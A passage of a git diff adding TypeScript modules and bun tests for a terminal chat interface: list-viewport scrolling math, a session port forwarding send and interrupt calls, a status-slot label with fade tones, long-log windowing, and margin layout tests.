"bun:test"; +import { + createListViewport, + jump, + keepActiveVisible, + moveActive, + page, + setCount, + setHeight, + visibleSlice, + type ListViewportState, +} from "./list-viewport.js"; + +function windowOf(state: ListViewportState): number[] { + const { start, end } = visibleSlice(state); + const indices: number[] = []; + for (let i = start; i < end; i++) indices.push(i); + return indices; +} + +describe("createListViewport", () => { + test("empty list", () => { + const s = createListViewport({ count: 0, height: 5 }); + expect(s).toEqual({ count: 0, height: 5, offset: 0, activeIndex: 0 }); + expect(visibleSlice(s)).toEqual({ start: 0, end: 0, activeIndex: 0 }); + }); + + test("short list fits entirely", () => { + const s = createListViewport({ count: 3, height: 10 }); + expect(s.offset).toBe(0); + expect(s.activeIndex).toBe(0); + expect(visibleSlice(s)).toEqual({ start: 0, end: 3, activeIndex: 0 }); + }); + + test("tall list starts at top", () => { + const s = createListViewport({ count: 30, height: 5 }); + expect(s.offset).toBe(0); + expect(windowOf(s)).toEqual([0, 1, 2, 3, 4]); + }); + + test("initial activeIndex near bottom scrolls window down", () => { + const s = createListViewport({ count: 30, height: 5, activeIndex: 20 }); + expect(s.activeIndex).toBe(20); + // active must be visible: offset = 20 - 5 + 1 = 16 + expect(s.offset).toBe(16); + expect(windowOf(s)).toEqual([16, 17, 18, 19, 20]); + }); + + test("clamps negative and oversized activeIndex", () => { + expect(createListViewport({ count: 10, height: 3, activeIndex: -5 }).activeIndex).toBe(0); + expect(createListViewport({ count: 10, height: 3, activeIndex: 99 }).activeIndex).toBe(9); + }); +}); + +describe("keep-active-visible", () => { + test("scrolls down when active falls below the window", () => { + const base: ListViewportState = { + count: 20, + height: 4, + offset: 0, + activeIndex: 10, + }; + const s = keepActiveVisible(base); + expect(s.offset).toBe(10 - 4 + 1); // 7 + expect(s.activeIndex).toBe(10); + expect(windowOf(s)).toContain(10); + }); + + test("scrolls up when active is above the window", () => { + const base: ListViewportState = { + count: 20, + height: 4, + offset: 10, + activeIndex: 2, + }; + const s = keepActiveVisible(base); + expect(s.offset).toBe(2); + expect(windowOf(s)).toContain(2); + }); + + test("leaves offset alone when active already visible", () => { + const base: ListViewportState = { + count: 20, + height: 5, + offset: 3, + activeIndex: 5, + }; + const s = keepActiveVisible(base); + expect(s.offset).toBe(3); + }); + + test("clamps offset when list is shorter than height", () => { + const s = keepActiveVisible({ + count: 3, + height: 10, + offset: 50, + activeIndex: 1, + }); + expect(s.offset).toBe(0); + expect(visibleSlice(s).end).toBe(3); + }); +}); + +describe("moveActive", () => { + test("moves down and keeps active visible", () => { + let s = createListViewport({ count: 20, height: 4 }); + for (let i = 0; i < 6; i++) s = moveActive(s, 1); + expect(s.activeIndex).toBe(6); + expect(s.offset).toBe(6 - 4 + 1); // 3 + expect(windowOf(s)).toEqual([3, 4, 5, 6]); + }); + + test("moves up and keeps active visible", () => { + let s = createListViewport({ count: 20, height: 4, activeIndex: 10 }); + s = moveActive(s, -3); + expect(s.activeIndex).toBe(7); + expect(windowOf(s)).toContain(7); + }); + + test("clamps at ends", () => { + let s = createListViewport({ count: 5, height: 3 }); + s = moveActive(s, -10); + expect(s.activeIndex).toBe(0); + s = moveActive(s, 100); + expect(s.activeIndex).toBe(4); + }); + + test("empty list is a no-op", () => { + const s = moveActive(createListViewport({ count: 0, height: 5 }), 1); + expect(s.activeIndex).toBe(0); + expect(s.offset).toBe(0); + }); +}); + +describe("page", () => { + test("pages down by height - 1", () => { + const s0 = createListViewport({ count: 50, height: 10 }); + const s1 = page(s0, 1); + expect(s1.activeIndex).toBe(9); // 10 - 1 + expect(windowOf(s1)).toContain(9); + }); + + test("pages up by height - 1", () => { + let s = createListViewport({ count: 50, height: 10, activeIndex: 20 }); + s = page(s, -1); + expect(s.activeIndex).toBe(11); // 20 - 9 + expect(windowOf(s)).toContain(11); + }); + + test("height 1 pages by 1", () => { + let s = createListViewport({ count: 10, height: 1 }); + s = page(s, 1); + expect(s.activeIndex).toBe(1); + expect(s.offset).toBe(1); + }); + + test("page does not overshoot ends", () => { + let s = createListViewport({ count: 12, height: 5 }); + s = page(s, 1); + s = page(s, 1); + s = page(s, 1); + expect(s.activeIndex).toBe(11); + s = page(s, -1); + s = page(s, -1); + s = page(s, -1); + expect(s.activeIndex).toBe(0); + }); +}); + +describe("jump", () => { + test("jumps mid-list and re-windows", () => { + const s = jump(createListViewport({ count: 40, height: 6 }), 25); + expect(s.activeIndex).toBe(25); + expect(s.offset).toBe(25 - 6 + 1); + expect(windowOf(s)).toContain(25); + }); + + test("clamps out-of-range jump", () => { + expect(jump(createListViewport({ count: 10, height: 3 }), -3).activeIndex).toBe(0); + expect(jump(createListViewport({ count: 10, height: 3 }), 99).activeIndex).toBe(9); + }); +}); + +describe("setHeight / height resize", () => { + test("shrinking height keeps active visible", () => { + let s = createListViewport({ count: 30, height: 10, activeIndex: 8 }); + expect(s.offset).toBe(0); + s = setHeight(s, 4); + expect(s.height).toBe(4); + expect(s.activeIndex).toBe(8); + // 8 was visible at offset 0 with height 10; with height 4 it is not → offset = 5 + expect(s.offset).toBe(8 - 4 + 1); + expect(windowOf(s)).toEqual([5, 6, 7, 8]); + }); + + test("growing height may lower offset only via clamp", () => { + let s = createListViewport({ count: 20, height: 3, activeIndex: 18 }); + expect(s.offset).toBe(16); + s = setHeight(s, 10); + expect(s.height).toBe(10); + // max offset = 20 - 10 = 10; active 18 still visible in [10,20) + expect(s.offset).toBe(10); + expect(windowOf(s)).toContain(18); + }); + + test("height zero yields empty slice", () => { + const s = setHeight(createListViewport({ count: 10, height: 5 }), 0); + expect(visibleSlice(s)).toEqual({ start: 0, end: 0, activeIndex: 0 }); + }); +}); + +describe("setCount", () => { + test("shrinking list clamps active and offset", () => { + let s = createListViewport({ count: 30, height: 5, activeIndex: 25 }); + s = setCount(s, 8); + expect(s.count).toBe(8); + expect(s.activeIndex).toBe(7); + expect(s.offset).toBe(maxOffsetLike(8, 5)); + expect(windowOf(s)).toContain(7); + }); +}); + +function maxOffsetLike(count: number, height: number): number { + return Math.max(0, count - height); +} + +describe("visibleSlice", () => { + test("end is exclusive", () => { + const s = createListViewport({ count: 10, height: 3 }); + const slice = visibleSlice(s); + expect(slice.end - slice.start).toBe(3); + expect(slice.end).toBe(3); + }); + + test("short list end equals count", () => { + const s = createListViewport({ count: 2, height: 8 }); + expect(visibleSlice(s)).toEqual({ start: 0, end: 2, activeIndex: 0 }); + }); +}); diff --git a/src/tui-opentui/list-viewport.ts b/src/tui-opentui/list-viewport.ts new file mode 100644 index 000000000..3fd71a0ff --- /dev/null +++ b/src/tui-opentui/list-viewport.ts @@ -0,0 +1,135 @@ +/** + * Pure list windowing kit: visible window, keep-active-visible, page/jump. + * Consumers (permissions, models, agents, settings) pass item count + viewport + * height in rows — no paint, no OpenTUI/Ink imports. + */ + +export type ListViewportState = { + /** Total number of items in the list. */ + count: number; + /** Visible row capacity (viewport height). */ + height: number; + /** Index of the first visible item. */ + offset: number; + /** Index of the active/highlighted item. */ + activeIndex: number; +}; + +export type CreateListViewportArgs = { + count: number; + height: number; + activeIndex?: number; +}; + +export type VisibleSlice = { + /** Inclusive start index into the full list. */ + start: number; + /** Exclusive end index into the full list. */ + end: number; + activeIndex: number; +}; + +function clamp(n: number, min: number, max: number): number { + if (n < min) return min; + if (n > max) return max; + return n; +} + +function maxOffset(count: number, height: number): number { + return Math.max(0, count - height); +} + +function normalizeCount(count: number): number { + return Math.max(0, Math.floor(count)); +} + +function normalizeHeight(height: number): number { + return Math.max(0, Math.floor(height)); +} + +function clampActive(count: number, activeIndex: number): number { + if (count === 0) return 0; + return clamp(Math.floor(activeIndex), 0, count - 1); +} + +/** + * Adjust `offset` so `activeIndex` lies in the visible window, then clamp + * offset to `[0, max(0, count - height)]`. + * + * Rules: + * - if active < offset → offset = active + * - if active >= offset + height → offset = active - height + 1 + */ +export function keepActiveVisible(state: ListViewportState): ListViewportState { + const count = normalizeCount(state.count); + const height = normalizeHeight(state.height); + const activeIndex = clampActive(count, state.activeIndex); + + if (height <= 0 || count === 0) { + return { count, height, offset: 0, activeIndex }; + } + + let offset = Math.floor(state.offset); + + if (activeIndex < offset) { + offset = activeIndex; + } else if (activeIndex >= offset + height) { + offset = activeIndex - height + 1; + } + + offset = clamp(offset, 0, maxOffset(count, height)); + return { count, height, offset, activeIndex }; +} + +/** Create a viewport with offset 0, then keep-active-visible. */ +export function createListViewport(args: CreateListViewportArgs): ListViewportState { + const count = normalizeCount(args.count); + const height = normalizeHeight(args.height); + const activeIndex = args.activeIndex === undefined ? 0 : args.activeIndex; + return keepActiveVisible({ count, height, offset: 0, activeIndex }); +} + +/** Move active by `delta` (clamped), then keep-active-visible. */ +export function moveActive(state: ListViewportState, delta: number): ListViewportState { + const count = normalizeCount(state.count); + if (count === 0) { + return keepActiveVisible({ ...state, count, activeIndex: 0 }); + } + const activeIndex = clampActive(count, state.activeIndex + delta); + return keepActiveVisible({ ...state, count, activeIndex }); +} + +/** + * Page up (`dir = -1`) or down (`dir = 1`). + * Step is `height - 1` when height > 1 (one row of context), else 1. + */ +export function page(state: ListViewportState, dir: -1 | 1): ListViewportState { + const height = normalizeHeight(state.height); + const step = height > 1 ? height - 1 : 1; + return moveActive(state, dir * step); +} + +/** Jump active to `index` (clamped), then keep-active-visible. */ +export function jump(state: ListViewportState, index: number): ListViewportState { + return keepActiveVisible({ ...state, activeIndex: index }); +} + +/** Visible window as half-open `[start, end)` plus the (clamped) active index. */ +export function visibleSlice(state: ListViewportState): VisibleSlice { + const count = normalizeCount(state.count); + const height = normalizeHeight(state.height); + const activeIndex = clampActive(count, state.activeIndex); + const start = clamp(Math.floor(state.offset), 0, maxOffset(count, height)); + const end = height <= 0 ? start : Math.min(count, start + height); + return { start, end, activeIndex }; +} + +/** Update viewport height (e.g. terminal resize) and re-window. */ +export function setHeight(state: ListViewportState, height: number): ListViewportState { + return keepActiveVisible({ ...state, height: normalizeHeight(height) }); +} + +/** Update item count (list length change) and re-window. */ +export function setCount(state: ListViewportState, count: number): ListViewportState { + return keepActiveVisible({ ...state, count: normalizeCount(count) }); +} diff --git a/src/tui-opentui/live-session-port.test.ts b/src/tui-opentui/live-session-port.test.ts new file mode 100644 index 000000000..a0aaf6074 --- /dev/null +++ b/src/tui-opentui/live-session-port.test.ts @@ -0,0 +1,129 @@ +import { describe, expect, test } from "bun:test" +import { createLiveSessionPort } from "./live-session-port" +import type { PendingImageAttachment } from "../tui/image-attachments.js" +import type { QueueItem, QueueKind } from "./session-queue" + +type Call = + | { op: "send"; text: string } + | { op: "interrupt" } + | { op: "deliver"; text: string; kind: QueueKind } + +function fakeDeps(opts?: { withDeliver?: boolean }) { + const calls: Call[] = [] + const deps = { + send: (text: string) => { + calls.push({ op: "send", text }) + }, + interrupt: () => { + calls.push({ op: "interrupt" }) + }, + ...(opts?.withDeliver + ? { + deliver: (text: string, kind: QueueKind) => { + calls.push({ op: "deliver", text, kind }) + }, + } + : {}), + } + return { calls, deps } +} + +function item( + text: string, + kind: QueueKind, + id = "q1", +): QueueItem { + return { id, text, kind, enqueuedAt: 0 } +} + +describe("createLiveSessionPort", () => { + test("sendImmediate forwards to deps.send", () => { + const { calls, deps } = fakeDeps() + const port = createLiveSessionPort(deps) + port.sendImmediate("hello") + expect(calls).toEqual([{ op: "send", text: "hello" }]) + }) + + test("enqueue does not send or interrupt (shell owns queue)", () => { + const { calls, deps } = fakeDeps() + const port = createLiveSessionPort(deps) + port.enqueue("later", "queue") + port.enqueue("asap", "steer") + expect(calls).toEqual([]) + }) + + test("interrupt forwards to deps.interrupt", () => { + const { calls, deps } = fakeDeps() + const port = createLiveSessionPort(deps) + port.interrupt() + expect(calls).toEqual([{ op: "interrupt" }]) + }) + + test("deliver without deps.deliver falls back to send", () => { + const { calls, deps } = fakeDeps() + const port = createLiveSessionPort(deps) + port.deliver(item("queued msg", "queue")) + port.deliver(item("steer msg", "steer", "q2")) + expect(calls).toEqual([ + { op: "send", text: "queued msg" }, + { op: "send", text: "steer msg" }, + ]) + }) + + test("deliver with deps.deliver passes text and kind", () => { + const { calls, deps } = fakeDeps({ withDeliver: true }) + const port = createLiveSessionPort(deps) + port.deliver(item("queued msg", "queue")) + port.deliver(item("steer msg", "steer", "q2")) + expect(calls).toEqual([ + { op: "deliver", text: "queued msg", kind: "queue" }, + { op: "deliver", text: "steer msg", kind: "steer" }, + ]) + }) + + test("full wiring: immediate → enqueue → deliver → interrupt", () => { + const { calls, deps } = fakeDeps({ withDeliver: true }) + const port = createLiveSessionPort(deps) + + port.sendImmediate("start") + port.enqueue("mid", "queue") + port.deliver(item("mid", "queue")) + port.interrupt() + + expect(calls).toEqual([ + { op: "send", text: "start" }, + { op: "deliver", text: "mid", kind: "queue" }, + { op: "interrupt" }, + ]) + }) +}) + +describe("attachment passthrough", () => { + const image: PendingImageAttachment = { + id: "img-1", + name: "clipboard.png", + contentType: "image/png", + data: new Uint8Array([1]), + } + + test("sendImmediate forwards attachments to the host send", () => { + const seen: Array = [] + const port = createLiveSessionPort({ + send: (_text, attachments) => seen.push(attachments), + interrupt: () => {}, + }) + port.sendImmediate("look", [image]) + expect(seen).toEqual([[image]]) + }) + + test("a queued item delivers its attachments at the boundary", () => { + const seen: Array = [] + const port = createLiveSessionPort({ + send: () => {}, + interrupt: () => {}, + deliver: (_text, _kind, attachments) => seen.push(attachments), + }) + port.deliver({ ...item("later", "queue"), attachments: [image] }) + expect(seen).toEqual([[image]]) + }) +}) diff --git a/src/tui-opentui/live-session-port.ts b/src/tui-opentui/live-session-port.ts new file mode 100644 index 000000000..c1240c5a1 --- /dev/null +++ b/src/tui-opentui/live-session-port.ts @@ -0,0 +1,56 @@ +/** + * Live SessionPort — binds OpenTUI shell outbound actions to injectable + * host hooks (runner agentProxy send / interrupt / deliver). No React/Ink. + */ + +import type { PendingImageAttachment } from "../tui/image-attachments.js" +import type { QueueItem, QueueKind } from "./session-queue.js" +import type { SessionPort } from "./runtime-bridge.js" + +export type LiveSessionPortDeps = { + /** Idle / immediate user text (plus pending images) → agent send path. */ + send: ( + text: string, + attachments?: readonly PendingImageAttachment[], + ) => void + /** Hard interrupt current run (runner close/rebuild). */ + interrupt: () => void + /** + * Optional: drained queue/steer item at tool boundary (or idle). + * Defaults to `send(text)` for both kinds — v1 runner shares send. + */ + deliver?: ( + text: string, + kind: QueueKind, + attachments?: readonly PendingImageAttachment[], + ) => void +} + +/** + * SessionPort that forwards shell outbound actions to host deps. + * Shell owns mid-run queue state; `enqueue` is a no-op here (kind lives on + * `QueueItem` and is passed to `deliver` on drain). + */ +export function createLiveSessionPort(deps: LiveSessionPortDeps): SessionPort { + return { + sendImmediate: ( + text: string, + attachments?: readonly PendingImageAttachment[], + ): void => { + deps.send(text, attachments) + }, + enqueue: (_text: string, _kind: QueueKind): void => { + // Shell already enqueued; kind is preserved on QueueItem for deliver. + }, + interrupt: (): void => { + deps.interrupt() + }, + deliver: (item: QueueItem): void => { + if (deps.deliver) { + deps.deliver(item.text, item.kind, item.attachments) + return + } + deps.send(item.text, item.attachments) + }, + } +} diff --git a/src/tui-opentui/lockup.test.ts b/src/tui-opentui/lockup.test.ts new file mode 100644 index 000000000..594da3009 --- /dev/null +++ b/src/tui-opentui/lockup.test.ts @@ -0,0 +1,61 @@ +import { describe, expect, test } from "bun:test" + +import { + LOCKUP_FADE_MS, + LOCKUP_WORDMARK, + lockupCells, + lockupText, + lockupWidth, +} from "./lockup" +import { UI } from "./theme" + +const still = (nowMs = 0) => lockupCells({ nowMs, still: true }) + +describe("brand lockup", () => { + test("idle is the wordmark alone", () => { + const cells = still() + expect(cells).toHaveLength(lockupWidth(null)) + expect(lockupText(cells)).toBe(LOCKUP_WORDMARK) + // The mountain lives on the landing; one row cannot hold a silhouette. + expect(lockupText(cells)).not.toMatch(/[▁▂▃▄▅▆▇█]/) + }) + + test("idle is genuinely still", () => { + const a = still(0) + const b = still(9_000) + expect(lockupText(b)).toBe(lockupText(a)) + expect(b.map((cell) => cell.fg)).toEqual(a.map((cell) => cell.fg)) + }) + + test("a live turn swaps the wordmark for the phase", () => { + const cells = lockupCells({ nowMs: 0, still: false, phase: "thinking" }) + expect(lockupText(cells)).toBe("thinking") + expect(lockupWidth("thinking")).toBe(cells.length) + }) + + test("the wordmark stays chrome-dim", () => { + for (const cell of still()) { + expect(cell.fg).toBe(UI.textDim) + } + }) + + test("a state change fades in through the warm dim tones", () => { + const at = (elapsed: number) => + lockupCells({ + nowMs: elapsed, + still: false, + phase: "bash", + changedMs: 0, + }) + const tone = (elapsed: number) => at(elapsed)[0]?.fg + expect(tone(0)).toBe(UI.textFaint) + expect(tone(LOCKUP_FADE_MS / 2)).toBe(UI.textDim) + expect(tone(LOCKUP_FADE_MS)).toBe(UI.text) + // Every cell rides the one ramp together. + const last = (elapsed: number) => at(elapsed).at(-1)?.fg + expect(last(0)).toBe(UI.textFaint) + expect(last(LOCKUP_FADE_MS)).toBe(UI.text) + // The word never changes mid-fade: only the tone moves. + expect(lockupText(at(0))).toBe(lockupText(at(LOCKUP_FADE_MS))) + }) +}) diff --git a/src/tui-opentui/lockup.ts b/src/tui-opentui/lockup.ts new file mode 100644 index 000000000..a8499336b --- /dev/null +++ b/src/tui-opentui/lockup.ts @@ -0,0 +1,97 @@ +/** + * The bottom-left status slot: whatever the session is currently doing. + * + * It rides the prompt box's bottom border, at the left end, opposite the + * working directory and branch. There is no status row left to share — the + * permanent hint strip is gone — and a row is the scarcest thing in a terminal, + * so the slot buys one of zero. Sitting in the border also means it inherits + * the box's gutter and its narrow-terminal behaviour for free, and when the + * rule cannot seat both labels the slot is what goes: the workspace is + * information, the mark is not. + * + * Idle it reads `corbits code`; while a turn runs it reads the live phase — + * `thinking`, `responding`, the running tool's name. The motion is the slot + * changing what it *says*, crossfading through the warm dim tones. + * + * There is no glyph. Earlier versions carried the mountain here, first as a + * wide ridgeline and then reduced to three cells; one row has too little + * vertical range for a silhouette, so the wide form read as a lump and the + * short form as an anonymous tall-between-two-short. The mark gets its full + * expression on the landing, where it has the rows to earn it. + * + * Pure and clock-injected: `nowMs` in, cells out, no timer. + */ + +import { type MarkCell } from "./mark-anim.js" +import { UI } from "./theme.js" +import { stringWidth } from "../tui/view/height.js" + +export const LOCKUP_WORDMARK = "corbits code" + +/** How long a state change takes to cross the fade ramp. */ +export const LOCKUP_FADE_MS = 240 + +/** + * Fade ramps, faintest first. A terminal has no alpha, so a transition steps + * through the warm dim tones toward its resting tone instead of blending. + */ +const WORDMARK_FADE = [UI.textFaint, UI.textDim] as const +const PHASE_FADE = [UI.textFaint, UI.textDim, UI.text] as const + +export type LockupInput = { + readonly nowMs: number + /** Hold the settled frame: idle session, or reduced motion. */ + readonly still: boolean + /** Live phase word, or null when the session is idle. */ + readonly phase?: string | null + /** Clock reading when the slot's text last changed. */ + readonly changedMs?: number +} + +/** What the slot says: the phase while a turn runs, the wordmark otherwise. */ +export function lockupLabel(phase: string | null | undefined): string { + const live = phase?.trim() ?? "" + return live.length > 0 ? live : LOCKUP_WORDMARK +} + +/** Columns the slot paints for a given state. */ +export function lockupWidth(phase: string | null | undefined): number { + return stringWidth(lockupLabel(phase)) +} + +/** + * The slot as coloured cells, left to right. `still` is the settled state: the + * idle wordmark at its resting tones, with nothing left to animate. + */ +export function lockupCells(input: LockupInput): readonly MarkCell[] { + const live = (input.phase?.trim().length ?? 0) > 0 + const progress = fadeProgress(input) + const cells: MarkCell[] = [] + const textTone = toneAt(live ? PHASE_FADE : WORDMARK_FADE, progress) + for (const char of lockupLabel(input.phase)) { + cells.push({ char, fg: textTone }) + } + return cells +} + +/** + * 0 the moment the text changes, 1 once the fade has run. A settled slot skips + * it entirely: idle is genuinely still, and the monitor tick that would carry + * the remaining frames has already stopped by then. + */ +function fadeProgress(input: LockupInput): number { + if (input.still || input.changedMs === undefined) return 1 + const elapsed = input.nowMs - input.changedMs + if (!Number.isFinite(elapsed) || elapsed >= LOCKUP_FADE_MS) return 1 + return elapsed <= 0 ? 0 : elapsed / LOCKUP_FADE_MS +} + +function toneAt(ramp: readonly string[], progress: number): string { + const index = Math.min(ramp.length - 1, Math.floor(progress * ramp.length)) + return ramp[Math.max(0, index)] ?? ramp[ramp.length - 1] ?? UI.textDim +} + +/** Plain-text rendering of a lockup frame — what the shape tests read. */ +export function lockupText(cells: readonly MarkCell[]): string { + return cells.map((cell) => cell.char).join("") +} diff --git a/src/tui-opentui/long-log.test.ts b/src/tui-opentui/long-log.test.ts new file mode 100644 index 000000000..410b6bde4 --- /dev/null +++ b/src/tui-opentui/long-log.test.ts @@ -0,0 +1,111 @@ +import { describe, expect, test } from "bun:test" +import type { StreamRow } from "./stream" +import { + LONG_LOG_COLLAPSE_THRESHOLD, + LONG_LOG_WINDOW, + collapseMarker, + mustWindow, + windowSlice, +} from "./long-log" + +function rows(n: number): StreamRow[] { + return Array.from({ length: n }, (_, i) => ({ + role: "assistant" as const, + text: `line-${i}`, + })) +} + +describe("windowSlice", () => { + test("empty log", () => { + const w = windowSlice([]) + expect(w).toEqual({ + start: 0, + end: 0, + rows: [], + truncatedAbove: false, + truncatedBelow: false, + total: 0, + }) + }) + + test("follow-tail keeps last windowSize rows", () => { + const log = rows(50) + const w = windowSlice(log, { windowSize: 10 }) + expect(w.start).toBe(40) + expect(w.end).toBe(50) + expect(w.rows).toHaveLength(10) + expect(w.rows[0]?.text).toBe("line-40") + expect(w.rows[9]?.text).toBe("line-49") + expect(w.truncatedAbove).toBe(true) + expect(w.truncatedBelow).toBe(false) + expect(w.total).toBe(50) + }) + + test("short log is fully visible", () => { + const log = rows(5) + const w = windowSlice(log, { windowSize: 10 }) + expect(w.start).toBe(0) + expect(w.end).toBe(5) + expect(w.truncatedAbove).toBe(false) + expect(w.truncatedBelow).toBe(false) + }) + + test("pinIndex keeps historical row in window", () => { + const log = rows(100) + const w = windowSlice(log, { windowSize: 10, pinIndex: 5 }) + expect(w.start).toBeLessThanOrEqual(5) + expect(w.end).toBeGreaterThan(5) + expect(w.rows.some((r) => r.text === "line-5")).toBe(true) + expect(w.truncatedBelow).toBe(true) + }) + + test("pin at head", () => { + const log = rows(100) + const w = windowSlice(log, { windowSize: 10, pinIndex: 0 }) + expect(w.start).toBe(0) + expect(w.rows[0]?.text).toBe("line-0") + expect(w.truncatedAbove).toBe(false) + expect(w.truncatedBelow).toBe(true) + }) + + test("pin at tail", () => { + const log = rows(100) + const w = windowSlice(log, { windowSize: 10, pinIndex: 99 }) + expect(w.end).toBe(100) + expect(w.truncatedBelow).toBe(false) + }) +}) + +describe("mustWindow / budgets", () => { + test("threshold and default window are positive", () => { + expect(LONG_LOG_WINDOW).toBeGreaterThan(0) + expect(LONG_LOG_COLLAPSE_THRESHOLD).toBeGreaterThan(LONG_LOG_WINDOW) + }) + + test("mustWindow flips at collapse threshold", () => { + expect(mustWindow(LONG_LOG_COLLAPSE_THRESHOLD)).toBe(false) + expect(mustWindow(LONG_LOG_COLLAPSE_THRESHOLD + 1)).toBe(true) + }) +}) + +describe("collapseMarker", () => { + test("formats count", () => { + expect(collapseMarker(0)).toBe("") + expect(collapseMarker(1)).toBe("… 1 earlier line collapsed") + expect(collapseMarker(42)).toBe("… 42 earlier lines collapsed") + }) +}) + +describe("long-log smoke scale", () => { + test("multi-thousand slice is O(window) not O(total)", () => { + const log = rows(5000) + const t0 = performance.now() + const w = windowSlice(log, { windowSize: LONG_LOG_WINDOW }) + const ms = performance.now() - t0 + expect(w.rows).toHaveLength(LONG_LOG_WINDOW) + expect(w.truncatedAbove).toBe(true) + expect(w.total).toBe(5000) + // Pure slice should be well under a millisecond class budget on CI. + expect(ms).toBeLessThan(50) + }) +}) diff --git a/src/tui-opentui/long-log.ts b/src/tui-opentui/long-log.ts new file mode 100644 index 000000000..b17eb3343 --- /dev/null +++ b/src/tui-opentui/long-log.ts @@ -0,0 +1,107 @@ +/** + * Long-log window strategy — keep multi-thousand-line sessions interactive. + * Pure slice math; shell paints only the window, not the full history. + * + * Budget (Wave 6 defaults; CL-5399 may refine): + * - Painted window: last N rows (or pin around offset) + * - Collapse threshold: when history exceeds this, older rows stay in the + * model but drop from the render tree until scrolled into the window + */ + +import type { StreamRow } from "./stream.js" + +/** Rows kept in the paint tree under normal follow-tail. */ +export const LONG_LOG_WINDOW = 200 + +/** + * When total rows exceed this, append/scroll paths must use windowSlice + * (never re-paint the full history). + */ +export const LONG_LOG_COLLAPSE_THRESHOLD = 500 + +export type LongLogWindow = { + /** Inclusive start index into the full row log. */ + readonly start: number + /** Exclusive end index. */ + readonly end: number + /** Slice of rows to paint. */ + readonly rows: readonly StreamRow[] + /** True when older rows exist above the window. */ + readonly truncatedAbove: boolean + /** True when newer rows exist below the window (pinned). */ + readonly truncatedBelow: boolean + /** Full log length. */ + readonly total: number +} + +export type WindowSliceOpts = { + /** Max rows to include (default LONG_LOG_WINDOW). */ + readonly windowSize?: number + /** + * Pin the window so this index is visible (keep-active-visible style). + * When omitted, follow the tail (last windowSize rows). + */ + readonly pinIndex?: number +} + +/** + * Compute which rows to paint for a long log. + * Follow-tail by default; pinIndex keeps a historical row in view. + */ +export function windowSlice( + log: readonly StreamRow[], + opts?: WindowSliceOpts, +): LongLogWindow { + const total = log.length + const windowSize = Math.max(1, Math.floor(opts?.windowSize ?? LONG_LOG_WINDOW)) + + if (total === 0) { + return { + start: 0, + end: 0, + rows: [], + truncatedAbove: false, + truncatedBelow: false, + total: 0, + } + } + + let end: number + let start: number + + if (opts?.pinIndex !== undefined) { + const pin = Math.max(0, Math.min(total - 1, Math.floor(opts.pinIndex))) + // Center-ish: keep pin in window; prefer showing context after pin when possible. + start = Math.max(0, pin - Math.floor(windowSize / 2)) + end = Math.min(total, start + windowSize) + start = Math.max(0, end - windowSize) + } else { + // Follow tail + end = total + start = Math.max(0, total - windowSize) + } + + return { + start, + end, + rows: log.slice(start, end), + truncatedAbove: start > 0, + truncatedBelow: end < total, + total, + } +} + +/** Whether the log is large enough that windowing is mandatory. */ +export function mustWindow(totalRows: number): boolean { + return totalRows > LONG_LOG_COLLAPSE_THRESHOLD +} + +/** + * Collapse marker line for the paint tree when truncatedAbove. + * Pure string — shell styles it as system chrome. + */ +export function collapseMarker(above: number): string { + const n = Math.max(0, Math.floor(above)) + if (n <= 0) return "" + return `… ${n} earlier line${n === 1 ? "" : "s"} collapsed` +} diff --git a/src/tui-opentui/margins.test.ts b/src/tui-opentui/margins.test.ts new file mode 100644 index 000000000..0e3aae9b2 --- /dev/null +++ b/src/tui-opentui/margins.test.ts @@ -0,0 +1,222 @@ +/** + * Breathing room: one optical gutter shared by every surface, a blank row above + * the first transcript row, and a narrow-terminal floor where the gutter yields + * to content rather than squeezing it. + */ +import { describe, expect, test } from "bun:test" +import { + BOTTOM_MARGIN_MIN_ROWS, + MARGIN_FULL_MIN_COLUMNS, + MARGIN_MIN_COLUMNS, + NARROW_SIDE_MARGIN, + SIDE_MARGIN, + resolveBottomMarginRows, + resolveContentWidth, + resolveSideMargin, + resolveTopPadRows, + resolveGeometry, +} from "./geometry/index.js" +import { withTestRenderer, type Harness } from "./harness" +import { appendStreamRow, createAppShell } from "./shell" + +async function settle(h: Harness): Promise { + await h.renderOnce() + await h.renderOnce() +} + +function frameRows(h: Harness): readonly string[] { + return h.captureCharFrame().split("\n").filter((row) => row.length > 0) +} + +describe("side margin resolution", () => { + test("steps down with width and floors at zero", () => { + expect(resolveSideMargin(120)).toBe(SIDE_MARGIN) + expect(resolveSideMargin(MARGIN_FULL_MIN_COLUMNS)).toBe(SIDE_MARGIN) + expect(resolveSideMargin(MARGIN_FULL_MIN_COLUMNS - 1)).toBe( + NARROW_SIDE_MARGIN, + ) + expect(resolveSideMargin(MARGIN_MIN_COLUMNS)).toBe(NARROW_SIDE_MARGIN) + expect(resolveSideMargin(MARGIN_MIN_COLUMNS - 1)).toBe(0) + expect(resolveSideMargin(10)).toBe(0) + }) + + test("content width never collapses below one column", () => { + for (const columns of [1, 8, 39, 40, 60, 80, 200]) { + const width = resolveContentWidth(columns) + expect(width).toBeGreaterThanOrEqual(1) + expect(width).toBe(columns - resolveSideMargin(columns) * 2) + } + }) + + test("the resolver reports the gutter it laid out against", () => { + for (const columns of [36, 48, 80, 132]) { + const layout = resolveGeometry({ terminal: { columns, rows: 24 } }) + expect(layout.sideMargin).toBe(resolveSideMargin(columns)) + expect(layout.contentWidth).toBe(resolveContentWidth(columns)) + expect(layout.regions.prompt?.x).toBe(layout.sideMargin) + expect(layout.regions.prompt?.width).toBe(layout.contentWidth) + } + }) + + test("the gutter costs no rows", () => { + const wide = resolveGeometry({ terminal: { columns: 120, rows: 24 } }) + const narrow = resolveGeometry({ terminal: { columns: 30, rows: 24 } }) + expect(wide.chromeHeight).toBe(narrow.chromeHeight) + expect(wide.transcriptHeight).toBe(narrow.transcriptHeight) + }) +}) + +describe("top padding", () => { + test("is carved out of the transcript, and only when it can be spared", () => { + expect(resolveTopPadRows(20)).toBe(1) + expect(resolveTopPadRows(6)).toBe(1) + expect(resolveTopPadRows(5)).toBe(0) + expect(resolveTopPadRows(0)).toBe(0) + }) + + test("the top pad still holds its own blank row above a bottom-anchored transcript", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "first prompt" }) + await settle(h) + const rows = h.captureCharFrame().split("\n") + // Row 0 is still the top pad's own blank row: a single short row + // sits at the bottom of the transcript zone, against the prompt + // box, not immediately after the pad. + expect(rows[0]?.trim()).toBe("") + const contentIndex = rows.findIndex((r) => r.includes("first prompt")) + expect(contentIndex).toBeGreaterThan(1) + } finally { + shell.dispose() + } + }, + { width: 